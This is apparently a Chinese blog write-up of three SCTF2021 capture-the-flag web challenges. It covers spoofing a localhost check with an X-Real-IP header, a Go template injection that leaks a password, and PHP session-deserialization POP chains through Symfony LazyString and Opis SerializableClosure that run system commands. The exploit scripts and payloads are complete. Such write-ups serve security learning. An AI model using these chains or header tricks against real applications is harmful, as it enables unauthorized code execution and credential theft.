SCTF2021

Loginme

有源码,没学过go,瞎看middleware.go

package middleware

import (
	"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
			c.AbortWithStatus(403)
			return
		}
		ip := c.ClientIP()
		if ip == "127.0.0.1" {
			c.Next()
		} else {
			c.AbortWithStatus(401)
		}
	}
}

大致意思就是需要伪造ip,但不能使用x-forwarded-forx-client-ip,我们尝试使用x-remote-ipx-real-ip,使用x-real-ip成功伪造127.0.0.1

然后查看route.go

func Login(c *gin.Context) {
	idString, flag := c.GetQuery("id")
	·····
	age := TargetUser.Age
	if age == "" {
		age, flag = c.GetQuery("age")
		if !flag {
			age = "forever 18 (Tell me the age)"
		}
	}
	······
	html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
	if err != nil {
		c.AbortWithError(500, err)
	}
	······
	tmpl.Execute(c.Writer, TargetUser)
}

这段代码我只将重要部分写了出来,这里使用了fmt.Sprintf格式化字符串,与之前学过的flask框架相似,使用格式化字符串可能会出现SSTI,这里将age渲染到了页面里,而且如果age在所输入的用户id中不存在的话,age是可控的,所以就导致了SSTI,简单查看了一下,发现了{{.msg}}大致就知道该如何注入了

http://124.71.166.197:18001/admin/index?id=0&age={{.Password}}
Header X-real-IP:127.0.0.1

Upload_it

只有一个文件上传的点,经过多次上传发现目录只能穿越到/tmp,然后应该就只能想到 session相关的知识点了,

然后发现给了composer.json

"require": {
    "symfony/string": "^5.3",
    "opis/closure": "^3.6"
}

应该是要通过这俩个依赖找到pop链从而实现session反序列化攻击

分析主要源码:

if (!empty($_POST['path'])) {
    $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
    $upload_file = $upload_file_path."/".$file['name'];
} else {
    $upload_file_path = $_SESSION["upload_path"];
    $upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
    echo "OK! Your file saved in: " . $upload_file;
} else {
    echo "emm...Upload failed:(";
}

这里使用了$_SESSION['upload_path']进行字符串拼接,所以可以触发__toString方法,开始找链子

链子一

通过搜索,可以发现在Symfony\Component\String\LazyString存在该魔术方法并在第12行有很明显的跳转到__invoke

namespace Symfony\Component\String;
class LazyString implements \Stringable, \JsonSerializable
{

    public function __toString()
    {
        if (\is_string($this->value)) {
            return $this->value;
        }

        try {
            return $this->value = ($this->value)();
        } catch (\Throwable $e) {
            if (\TypeError::class === \get_class($e) && __FILE__ === $e->getFile()) {
                $type = explode(', ', $e->getMessage());
                $type = substr(array_pop($type), 0, -\strlen(' returned'));
                $r = new \ReflectionFunction($this->value);
                $callback = $r->getStaticVariables()['callback'];

                $e = new \TypeError(sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type));
            }

            if (\PHP_VERSION_ID < 70400) {
                // leverage the ErrorHandler component with graceful fallback when it's not available
                return trigger_error($e, \E_USER_ERROR);
            }

            throw $e;
        }
    }
}

再通过搜索__voke方法,找到Opis\Closure\SerializableClosure,可以传入一个匿名函数Closure,并在__invoke中执行

namespace Opis\Closure;

class SerializableClosure implements Serializable
{
    public function __construct(Closure $closure)
    {
        $this->closure = $closure;
        if (static::$context !== null) {
            $this->scope = static::$context->scope;
            $this->scope->toserialize++;
        }
    }
    public function __invoke()
        {
            return call_user_func_array($this->closure, func_get_args());
        }
}

构造链子

<?php
namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value = $value;
        }
    }
}

namespace {
    require "./vendor/autoload.php";
    $func = function(){system("cat /flag");};
    $d = new \Opis\Closure\SerializableClosure($func);
    $s = new \Symfony\Component\String\LazyString($d);
    session_start();
    $_SESSION['upload_path'] = $s;
}

然后将生成的session文件上传后使用该session访问即可获得flag

链子二

这个就不细说了,基本都差不多,看exp就可以看得出来

<?php
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct($value){
            $this->value=$value;
        }
    }
}
namespace {
    require "./vendor/autoload.php";
    $func = function(){system('cat /flag');};
    $a = \Opis\Closure\serialize($func);
    $b = unserialize($a);
    $s = new \Symfony\Component\String\LazyString($b);
    session_start();
    $_SESSION["upload_path"] = $b;
}

Upload_it_2

看大师傅们wp说就是换个链子,5555555

exp1:

<?php
namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value = $value;
        }
    }
}

namespace {
    class sandbox {
        private $evil;
        public function __construct(){
            $this->evil = "/flag";
        }
    }

    $a = [new sandbox,"backdoor"];
    $s = new \Symfony\Component\String\LazyString($a);
    echo urlencode(serialize($s));
}

exp2:

<?php
namespace {
    class sandbox {
        private $evil = "/flag";
        public $upload_path;
        public function make_user_upload_dir() {
            $md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
            $this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
            @mkdir($this->upload_path);
            $_SESSION["upload_path"] = $this->upload_path;
        }
        public function has_upload_dir() {
            return !empty($_SESSION["upload_path"]);
        }
        public function __wakeup() {
            throw new Error("NO NO NO");
        }
        public function __destruct() {}
        public function __call($func, $value) {
            if (method_exists($this, $func)) {
                call_user_func_array(
                    [$this, $func],
                    $value
                );
            }
        }
        private function backdoor() {
            include_once $this->evil;
        }
    }
}
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            $a = array(new \sandbox(),"backdoor");
            $this->value=$a;
        }
    }
    session_start();
    $a = new LazyString();
    $_SESSION["upload_path"] = $a;
}
posted @ 2023-01-08 23:24  seizer-zyx  阅读(83)  评论(0编辑  收藏  举报